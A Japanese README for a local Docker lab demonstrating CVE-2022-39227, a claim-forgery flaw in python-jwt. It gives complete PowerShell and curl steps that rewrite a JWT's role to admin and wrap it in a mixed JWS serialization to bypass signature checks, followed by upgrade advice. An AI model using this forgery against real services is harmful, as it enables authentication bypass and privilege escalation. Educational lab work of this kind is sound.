
このプロジェクトは、管理されたローカルラボ環境で CVE-2022-39227 の脆弱性を実演するものです。この脆弱性は python-jwt ライブラリ(バージョン 3.3.4 未満)に影響し、python-jwt とその依存ライブラリ jwcrypto の間のパース処理の不整合(JWS シリアライゼーション)を悪用することで、攻撃者が秘密鍵を知らなくても JWT クレームを偽造できるようにします。
このプロジェクトは、Docker を使用して 2 つの同一の Flask アプリケーションを起動します。これらは依存ライブラリのバージョンのみが異なります:
python-jwt==3.3.3)python-jwt==3.3.4)どちらのアプリケーションもシンプルなロールベースアクセス制御(RBAC)を実装しています。通常ユーザー(alice)はログインして JWT を受け取ることができます。JWT クレームに admin ロールを持つユーザーのみが /admin エンドポイントにアクセスできます。
1. 環境を起動する Docker Desktop が起動していることを確認し、次を実行します:
docker-compose up -d --build
これにより、脆弱性のあるサーバーと修正済みサーバーの両方がバックグラウンドで起動します。
攻撃を再現するには、PowerShell で生の HTTP リクエストとペイロードの改変を手動で実行します。これにより、脆弱性が外部ツールではなく、プロトコルとライブラリのパースロジックに存在することが実証されます。
ステップ 1: ログインして有効なトークンを取得する
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
ステップ 2: JWT を構成要素に分割する
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
ステップ 3: ペイロードをデコードし、ロールを変更して、Base64Url に再エンコードする
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
ステップ 4: 悪意のある JWS シリアライゼーション形式を構築する
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
ステップ 5: 両方のサーバーに対して攻撃を実行する
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
python-jwt をバージョン 3.3.4 以降にアップグレードしてください。さらに、アプリケーションは厳密な署名検証を実施し、可能な限りアプリケーションのロジック層で直接ペイロードの整合性を検証する必要があります。
このプロジェクトは、教育目的のために厳密にローカルの管理されたラボ環境内で実施されました。第三者システム、公開サービス、実際のユーザーアカウントは一切標的とされていません。